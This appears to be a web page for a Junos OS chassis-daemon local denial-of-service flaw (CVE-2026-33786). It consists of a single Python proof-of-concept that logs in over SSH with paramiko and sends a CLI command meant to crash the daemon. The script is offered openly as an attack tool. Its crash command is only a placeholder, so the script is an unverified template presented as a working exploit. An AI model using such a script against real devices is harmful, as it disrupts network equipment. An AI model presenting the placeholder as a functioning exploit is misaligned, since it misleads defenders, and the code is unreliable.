CVE-2026-33786 Junos OS机箱守护进程本地拒绝服务漏洞

import paramiko import time # POC for CVE-2026-33786 # Description: This script demonstrates how a local low-privileged user # could potentially trigger the DoS by executing a specific CLI command. # Note: The exact specific command syntax might need adjustment based on JSA107810. def trigger_dos(target_ip, username, password): try: # Establish SSH connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Invoke shell shell = client.invoke_shell() time.sleep(1) # Enter operational mode shell.send("cli\n") time.sleep(1) # Execute the specific 'show chassis' command that triggers the crash # This is a representation of the vulnerable command. vulnerable_command = "show chassis specific-vulnerable-arg\n" shell.send(vulnerable_command) time.sleep(2) # Check if the prompt hangs or disconnects, indicating a crash output = shell.recv(65535).decode() if not output or "connection closed" in output.lower(): print("[+] Potential DoS triggered: Shell disconnected or daemon crashed.") else: print("[-] Command executed, check system status.") client.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Example usage # trigger_dos("192.168.1.1", "low_priv_user", "password") pass